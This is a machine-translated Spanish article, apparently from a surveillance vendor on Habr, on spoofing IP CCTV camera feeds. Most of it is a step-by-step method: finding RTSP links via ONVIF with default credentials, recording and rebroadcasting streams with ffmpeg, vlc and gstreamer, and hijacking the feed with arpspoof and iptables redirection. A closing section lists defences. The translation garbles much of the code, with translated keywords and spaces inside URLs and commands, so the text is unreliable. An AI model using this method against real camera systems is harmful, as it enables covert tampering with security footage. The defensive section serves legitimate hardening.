Hackear cámaras CCTV en la práctica

Los fanáticos de la película Ocean's Eleven Friends deben haber reconocido el marco que elegimos para ilustrar este artículo. El momento en que los tipos duros reemplazaron hábilmente la señal analógica de las cámaras CCTV del casino llegó a la mente de muchos. Algunos incluso intentan hacer esto en la vida real.

imagen

Las tecnologías han cambiado, ahora las cámaras IP son preferibles a las analógicas, los métodos para romperlas se analizarán en detalle más adelante.

Si no eres paranoico, esto no significa que no estés siendo observado


La mayoría de los hackers hacen esto por diversión o para obtener un poco de fama en Internet. Utilizan "agujeros" bien conocidos en los sistemas de soporte de cámara y publican, en su opinión, videos divertidos en recursos populares de Internet. YouTube está repleto de videos similares .

Consideraremos las consecuencias más graves de la vulnerabilidad, especialmente cuando el cracker no se traiciona a sí mismo ni a su penetración en el sistema. Tal ataque generalmente se planifica cuidadosamente por adelantado, una semana o incluso un mes antes del ataque.

Como en nuestro ejemplo de Ocean Eleven, hablaremos sobre reemplazar una transmisión en sistemas de videovigilancia, no solo una señal analógica, sino digital, es decir, una transmisión RTSP.

Dado que toda la información en este artículo es de naturaleza informativa y está dirigida principalmente a eliminar errores de seguridad al construir un sistema de videovigilancia, no recomendamos utilizar la vulnerabilidad, que se analiza más adelante. Es por eso que el pirateo de la red de videovigilancia se considerará solo superficialmente y los métodos descritos implican el acceso abierto a la red de la empresa o persona privada. Recuerde que el acceso no autorizado a los datos puede ser procesado.

La experiencia de nuestra empresa muestra que el tema es muy relevante, ya que en la etapa de puesta en servicio de un sistema de videovigilancia, muchas personas conectan cámaras a su sistema mediante enlaces RTSP. Ya sea para ahorrar tiempo, ya sea por ignorancia o por estar seguros de que es necesario, muchos ni siquiera piensan en cambiar las contraseñas o ver qué configuraciones de seguridad admite su cámara.

Por cierto, RTSP (Real Time Streaming Protocol) es un protocolo que le permite controlar la transmisión de video en tiempo real. Todo lo que necesitamos saber al respecto es que con la ayuda del enlace RTSP tomaremos la transmisión de video de la cámara.

Finalmente, tenemos que practicar , es decir, el plan según el cual actuaremos:

1. Obtener el enlace RTSP para la cámara cuyo flujo queremos reemplazar.
2. Preparación del archivo de video para su posterior transmisión.
3. Transmita el archivo grabado.
4. Protección contra el intercambio secundario de flujo.

Obteniendo RTSP URI Stream


Para reemplazar la señal de la cámara, primero debe encontrar la transmisión de video que necesitamos. Esto requerirá un enlace a través del protocolo RTSP. La cámara generalmente transmite múltiples imágenes (alta y baja resolución). El primero se usa para grabar y el segundo, para transmitir en pantallas de video vigilancia. La resolución mínima (más a menudo 320 por 240 píxeles) reduce la carga en el equipo. Para cada flujo RTSP, el enlace a menudo se distingue por un dígito en la clave.

Las diferentes cámaras pueden tener diferentes enlaces RTSP, pero la vista general es aproximadamente la siguiente:
rtsp: // [inicio de sesión: contraseña @] dirección IP: puerto RTSP [/ clave] .

La decodificación es la siguiente:

  • inicio de sesión y contraseña: aquellos que se utilizan para acceder a la cámara (pueden no serlo);
  • si el enlace contiene el nombre de usuario y la contraseña, el símbolo @ se indica después de ellos para separar la autorización y la dirección IP;
  • El puerto RTSP a través del cual se transmiten los comandos de control de transmisión de video es 554 por defecto;
  • la clave es una parte única del enlace RTSP, que puede variar según el fabricante y el modelo de la cámara, por ejemplo:
    /? user = admin & password = admin & channel = channel_number & stream = stream_number.sdp
    /play1.sdp: en lugar de "1" se indica el número de secuencia;
    / live / ch00_0 00 - número de canal, 0 - número de transmisión;
    / canal1: en lugar de “1” se indica el número de transmisión.

¿Cómo encontrar un enlace RTSP sin tener acceso a la cámara? Algunas formas simples:

1. Encuentre el enlace en el sitio web del fabricante de la cámara.
2. Busque en Internet sitios que proporcionen enlaces para diferentes modelos de cámaras, un ejemplo de dichos sitios aquí y aquí .
3. Descargue el manual del usuario en el sitio web del fabricante y encuentre la información necesaria allí.

Para los casos en que ninguno de los métodos simples ha ayudado, hay un poco más complicado. Aquí se necesitará al menos acceso a la red donde se encuentra la cámara. Como la mayoría de las cámaras modernas admiten ONVIF, podemos encontrar el enlace RTSP utilizando este protocolo.
Para hacer esto, envíe múltiples solicitudes sin autorización o con autorización en la cámara propuesta de forma predeterminada, por ejemplo, "admin: admin" o "admin: 12345". Por cierto, en la práctica había cámaras que tenían un filtro de dirección IP válido y un nombre de usuario y contraseña no estándar, pero debido a errores en el firmware al acceder a través del protocolo ONVIF, no se verificaron ni la autorización ni el filtro.

¿Cómo obtener el enlace deseado a ambas transmisiones desde la cámara a través del protocolo ONVIF?

1. Usando el comando GetProfiles, descubrimos el nombre del perfil cuya uri necesitamos
 POST / onvif / media_service HTTP / 1.1
 Anfitrión: 192.168.1.77
 Usuario-Agente: gSOAP / 2.8
 Tipo de contenido: aplicación / jabón + xml;  juego de caracteres = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
 Longitud del contenido: 2120
 Conexión: mantener vivo
 SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetProfiles"

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Sobre xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Omita la descripción de todo el espacio de nombres.
                    .
                    xmlns: trt = "http://www.onvif.org/ver10/media/wsdl">
     <SOAP-ENV: Encabezado> </ SOAP-ENV: Encabezado>
     <SOAP-ENV: Cuerpo>
         <trt: GetProfiles />
     </ SOAP-ENV: Cuerpo>
 </ SOAP-ENV: Sobre>


2. En la respuesta larga recibida encontramos una línea con el nombre del primer y segundo perfil
 HTTP / 1.1 200 OK
 Servidor: gSOAP / 2.8
 Tipo de contenido: aplicación / jabón + xml;  juego de caracteres = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
 Longitud del contenido: 17405
 Conexión: cerrar

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Sobre xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Omita la descripción de todo el espacio de nombres.
                    .
                    xmlns: tns1 = "http://www.onvif.org/ver10/topics">
     <SOAP-ENV: Encabezado> </ SOAP-ENV: Encabezado>
     <SOAP-ENV: Cuerpo>
         <trt: GetProfilesResponse>
             <trt: Perfiles fijos = "true" token = "profile_cam1_stream1">
                 <tt: Nombre> profile_cam1_stream1 </ tt: Nombre>
                 <tt: VideoSourceConfiguration token = "videosource_config_cam1">
                     <tt: Nombre> videosource_config_cam1 </ tt: Nombre>
                     .
                     Omitir descripción del perfil.
                     .
             </ trt: Perfiles>
             <trt: Perfiles fijos = "true" token = "profile_cam1_stream2">
                 <tt: Nombre> profile_cam1_stream2 </ tt: Nombre>
                 .
                 Nos saltamos la descripción del segundo perfil.
                 .
             </ trt: Perfiles>
             .
             No consideramos el tercer perfil.
             .
         </ trt: GetProfilesResponse>
     </ SOAP-ENV: Cuerpo>
 </ SOAP-ENV: Sobre>

 - profile_cam1_stream1 es el nombre del primer perfil en la cámara.
 - profile_cam1_stream2 es el nombre del segundo perfil en la cámara.


3. Ahora debe solicitar rtsp uri para estos perfiles utilizando el comando GetStreamUri, especificando el perfil deseado en el campo ProfileToken
 Ejemplo para el primer hilo:

 POST / onvif / media_service HTTP / 1.1
 Anfitrión: 192.168.1.77
 Usuario-Agente: gSOAP / 2.8
 Tipo de contenido: aplicación / jabón + xml;  juego de caracteres = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
 Longitud del contenido: 2479
 Conexión: mantener vivo
 SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Sobre xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Omita la descripción de todo el espacio de nombres.
                    .
                    xmlns: trt = "http://www.onvif.org/ver10/media/wsdl">
     <SOAP-ENV: Encabezado> </ SOAP-ENV: Encabezado>
     <SOAP-ENV: Cuerpo>
         <trt: GetStreamUri>
             <trt: StreamSetup xsi: type = "tt: StreamSetup">
                 <tt: Stream xsi: type = "tt: StreamType"> RTP-Unicast </ tt: Stream>
                 <tt: Transport xsi: type = "tt: Transport">
                     <tt: Protocolo xsi: type = "tt: TransportProtocol"> UDP </ tt: Protocolo>
                 </ tt: Transporte>
             </ trt: StreamSetup>
             <trt: ProfileToken xsi: type = "tt: ReferenceToken"> profile_cam1_stream1 </ trt: ProfileToken>
         </ trt: GetStreamUri>
     </ SOAP-ENV: Cuerpo>
 </ SOAP-ENV: Sobre>

 En respuesta, obtenemos el enlace que necesitamos:

 HTTP / 1.1 200 OK
 Servidor: gSOAP / 2.8
 Tipo de contenido: aplicación / jabón + xml;  juego de caracteres = utf-8;  action = "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
 Longitud del contenido: 3701
 Conexión: cerrar

 <? xml version = "1.0" encoding = "UTF-8"?>
 <SOAP-ENV: Sobre xmlns: SOAP-ENV = "http://www.w3.org/2003/05/soap-envelope"
                    .
                    Omita la descripción de todo el espacio de nombres.
                    .
                    xmlns: tns1 = "http://www.onvif.org/ver10/topics">
     <SOAP-ENV: Encabezado> </ SOAP-ENV: Encabezado>
     <SOAP-ENV: Cuerpo>
         <trt: GetStreamUriResponse>
             <trt: MediaUri>
                 <tt: Uri> rtsp: //192.168.1.77: 554 / snl / live / 1/1 </ tt: Uri>
                 <tt: InvalidAfterConnect> false </ tt: InvalidAfterConnect>
                 <tt: InvalidAfterReboot> false </ tt: InvalidAfterReboot>
                 <tt: Tiempo de espera> PT0S </ tt: Tiempo de espera>
             </ trt: MediaUri>
         </ trt: GetStreamUriResponse>
     </ SOAP-ENV: Cuerpo>
 </ SOAP-ENV: Sobre>

 Hacemos lo mismo para la segunda transmisión y obtenemos el enlace:
 <tt: Uri> rtsp: //192.168.1.77: 554 / snl / live / 1/2 </ tt: Uri>


Escribir secuencia RTSP en el archivo


Cuando obtuvimos los enlaces rtsp necesarios, necesitamos grabar un video transmitido por ellos que dure varias horas. No olvide que el doble subproceso se utiliza en los sistemas modernos, por lo que debe grabar ambas transmisiones al mismo tiempo.

Puede grabar una transmisión de video usando el protocolo RTSP usando varios programas. Considere los más populares: ffmpeg, gstreamer y vlc .

1. Grabación en tiempo real a través de ffmpeg
 $ man ffmpeg
 Estamos interesados ​​en:
 - vcodec copy - copia video al archivo;
 - copia acodec - copia de audio a un archivo;
 - rtsp_transport tcp - selección de un método para transmitir un flujo;
 - r 25 - ajuste de la velocidad de fotogramas por segundo;
 - copias - copia de marcas de tiempo;
 - start_at_zero - copiar marcas de tiempo a partir de 00: 00: 00: 000

 Sustituimos nuestro enlace RTSP y a través de la copia especificamos la ruta y el nombre del archivo al que irá el registro
 % ffmpeg -i rtsp: //192.168.1.77: 554 / snl / live / 1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec copy -acodec copy /home/line/example/1.avi

imagen

La escritura en un archivo ha comenzado.

2. Grabación a través de vlc
 Puede familiarizarse con el conjunto de comandos que el reproductor multimedia vlc nos ofrece utilizando el comando
 $ vlc –h.

 Estamos interesados ​​en:
 - sout = # file {ruta} - señala el archivo en el que queremos copiar el video;
 - rtsp-tcp - recibe rtsp por tcp;
 - rtsp-frame-buffer-size = 1000 - buffer para que el video no se desmorone durante la reproducción;
 - h264-fps = 25 - complemento para 25 cuadros.

 Sustituir nuestros datos y ejecutar
 $ cvlc rtsp: //192.168.1.77: 554 / snl / live / 1/1 --rtsp-tcp --rtsp-frame-buffer-size = 1000 --h264-fps = 25: sout = # file {dst = /home/line/example/1.avi}.

 La ventana vlc se abrirá y comenzará la grabación; cuando cierre la ventana, la grabación se detendrá.


3. Grabación a través de gstreamer
 Puede encontrar información sobre cómo trabajar con gstreamer <a href="https://gstreamer.freedesktop.org/documentation/plugins.html"> aquí </a>.
 - rtspsrc location = "rtsp: //192.168.1.91: 554 / cam / realmonitor? Channel = 1 & subtype = 0 & unicast = true & proto = Onvif" - especifique la secuencia RTSP como fuente de datos.
 - rtph264depay - en el video RTSP va en pedazos pequeños (paquetes rtp), a través de rtph264depay recibiremos video de estos paquetes.
 - h264parse: como su nombre lo indica, analice la secuencia H.264.
 - avimux: recopila la transmisión en avi, también puedes usar mp4mux o matroskamux (mkv).
 - ubicación del archivo = 1.avi: especifique el archivo en el que se guardará el video.

 gst-launch-1.0 -v rtspsrc location = "rtsp: //192.168.1.91: 554 / cam / realmonitor? channel = 1 & subtype = 0 & unicast = true & proto = Onvif"!  rtph264depay!  h264parse!  mp4mux!  ubicación del disquete de archivos = 1.mp4

imagen

Transmitir transmisión RTSP desde un archivo


Es hora de comenzar a transmitir el archivo grabado en formato RTSP. Para hacer esto, utilizaremos los mismos programas discutidos en la sección anterior.

1. Para transmitir una transmisión de video desde la cámara usando ffmpeg, debe usar ffserver. Su descripción se puede encontrar aquí . Para establecer los parámetros de traducción, es necesario completar el archivo ffserver.conf.

ffserver
 Archivo Ffserver.conf
 RTSPPort: establece el número del puerto rtsp a través del cual se transmitirá la transmisión.
 <Stream snl / live / 1/1>: después de Stream configuramos la clave necesaria.
 Formato rtp: formato de transmisión.
 Archivo "/home/line/example/1.avi" - rtsp_transport tcp - especifique la ruta al archivo que desea transferir y la clave para transferir a través de tcp.
 No Audio: no transmite sonido.

 Archivo Ffserver.conf

 RTSPPort 554

 <Stream snl / live / 1/1>
 Formato rtp
 Archivo "/home/line/example/1.avi" -rtsp_transport tcp
 NoAudio 
 </Stream>
 A continuación, ejecute% ffserver -f ffserver.conf.

imagen

2. Ahora usaremos el reproductor vlc-media. A pesar de que esta es la forma más fácil, desafortunadamente, vlc solo puede transmitir una transmisión a través de UDP.

reproductor multimedia vlc
 Comando para iniciar la transmisión rtsp:
 - sout = # rtp {sdp = rtsp: //192.168.1.232: 554 / snl / live / 1/1} - establece el enlace por el cual se realizará la transmisión.
 - repetir: si es necesario, configure el video para que se reproduzca repetidamente.
 vlc /home/line/example/1.avi --sout = # rtp {sdp = rtsp: //192.168.1.232: 554 / snl / live / 1/1} —repeat


3. Finalmente, usando gst-server.

servidor gst
 Primero necesitas instalarlo.
 $ sudo apt-get install gstreamer1.0
 $ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz
 /gst-rtsp-server-1.8.3$ sudo apt install gtk-doc-tools
 /gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev
 /gst-rtsp-server-1.8.3$ make
 Ahora podemos cambiar el archivo /gst-rtsp-server-1.8.3/examples/test-launch.c
 Aquí puede cambiar el puerto RTSP predeterminado
 #define DEFAULT_RTSP_PORT "8554"
 y la clave está en el enlace
 gst_rtsp_mount_points_add_factory (montajes, "/ prueba", fábrica).
 Después de sustituir nuestros valores, haremos.
 Ahora ejecute el archivo de inicio de prueba con las teclas.
 - rtspsrc location = "/ home / line / example / 1.avi" - la ruta al archivo que vamos a reproducir.
 - Codificador H264 - codifica en h.264.
 - rtph264pay name = pay0 pt = 96 - divide nuestra secuencia en partes.
 $ ~ / gst-rtsp-server-1.8.3 / examples $ ./test-launch "(rtspsrc location =" / home / line / example / 1.avi "! x264enc! rtph264pay name = pay0 pt = 96)"


El archivo grabado se transmite en formato RTSP, luego de lo cual resolvemos el problema de falla de la cámara. A continuación hay algunas opciones que varían según el objeto que queremos atacar. De hecho, hay muchas más formas, considere solo las más básicas. Lo primero que necesitamos es ingresar a la red que necesitamos.

Si el objeto es grande territorialmente, a menudo existe la oportunidad de acercarse físicamente a algunas cámaras e incluso tratar de encontrar el equipo de conmutación al que está conectada la cámara.

Si el objeto es pequeño, puede intentar ingresar a la red a través de wi-fi y escanearlo usando nmap, por ejemplo.

Además, si hay acceso físico a la cámara, puede piratearla en varias etapas con una computadora de placa única:

1) habilitar la grabación de wireshark;
2) desconecte brevemente el cable de la cámara y conéctelo a una sola placa;
3) devuelva el cable a su lugar;
4) estudiar los registros recibidos.

O si tiene acceso a la red, puede usar el método clásico de sustitución:

- utilizando el soporte arpspoof entre la cámara y el servidor;
- use ip_forward para reenviar solicitudes del servidor de vigilancia a la cámara IP, y viceversa;
- El uso de iptables redirige todas las solicitudes a través del puerto RTSP al servidor de vigilancia, no desde la cámara, sino desde nuestra máquina.

Hackear cámaras de seguridad


Para protegerse de la suplantación de hilos de acuerdo con el procedimiento descrito anteriormente, se pueden utilizar varios métodos:

1. Integración de cámara
La mayor protección la proporciona la integración de la cámara en un producto de software. Compruebe si su cámara está integrada con el sistema de vigilancia Line aquí .
Si su cámara o fabricante no está en la lista, puede contactar al soporte técnico para solicitar la integración de su modelo de cámara IP.

2. Actualización de firmware
Es necesario mantener constantemente actualizado el firmware de la cámara, ya que con la ayuda de actualizaciones, los desarrolladores corrigen varias vulnerabilidades y, por lo tanto, aumentan la estabilidad de las cámaras.

3. Cambio de inicios de sesión y contraseñas estándar
Lo primero que hace un atacante es intentar usar el nombre de usuario y la contraseña estándar de la cámara. Están indicados en las instrucciones de uso, por lo que encontrarlos no es difícil. Por lo tanto, use siempre un nombre de usuario y contraseña únicos.

4. Habilitación de la autorización obligatoria
Esta característica está presente en muchas cámaras modernas, pero, desafortunadamente, no todos los usuarios lo saben. Si deshabilita esta opción, la cámara no solicitará autorización cuando esté conectada a ella, lo que la hará vulnerable a la piratería. Vale la pena señalar que hay cámaras con doble autorización para acceso http y para acceso a través del protocolo ONVIF. Además, en algunas cámaras hay una configuración separada para la solicitud de autorización cuando se conecta a través de un enlace RTSP directo.

5. Filtro de dirección IP
Si la cámara admite la función de la llamada lista blanca, es mejor no descuidarla. Con su ayuda, se determina la dirección IP desde la cual puede conectarse a la cámara. Esta debería ser la dirección del servidor al que está conectada la cámara y, si es necesario, la segunda dirección IP de la estación de trabajo desde la que se realiza la configuración. Pero este no es el método más confiable, ya que un atacante puede usar la misma dirección IP al reemplazar un dispositivo. Por lo tanto, es mejor usar esta opción junto con otras recomendaciones.

6. Protección de red
Es necesario configurar correctamente el equipo de conmutación. La mayoría de los conmutadores ahora admiten la protección contra la falsificación de arp; asegúrese de usar esto.

7. Compartir redes
Debe prestar especial atención a este elemento, ya que juega un papel importante en la seguridad de su sistema. La separación de la red empresarial y la red de vigilancia lo protegerá de intrusos o incluso de sus propios empleados que tienen acceso a la red compartida y quieren hackearlo.

8. Activando el menú OSD
Debe habilitar el menú OSD con la hora y fecha actuales en la cámara para que siempre pueda verificar la relevancia de la imagen. Esta es una buena manera de protegerse contra el cambio del metraje, ya que el OSD se superpone a todo el video que proviene de una cámara específica. Incluso cuando un atacante escribe la transmisión RTSP, la suplantación de identidad será notable gracias a los datos que aún permanecerán en los cuadros de video.

Desafortunadamente, muchos atacantes han aprendido a encontrar y aprovechar rápidamente las vulnerabilidades en los sistemas de videovigilancia IP. Para asegurar la red, es necesario familiarizarse con los métodos de protección descritos en este artículo. Permita suficiente tiempo para la puesta en marcha del sistema y, en particular, para configurar correctamente todos sus componentes. Para que pueda proporcionar a la red la máxima seguridad contra la piratería.

En conclusión, le sugerimos que comparta en los comentarios, ¿cómo abordaría la protección de su red de videovigilancia contra piratería? ¿Qué métodos de ataque consideras más peligrosos?

Source: https://habr.com/ru/post/es405083/


All Articles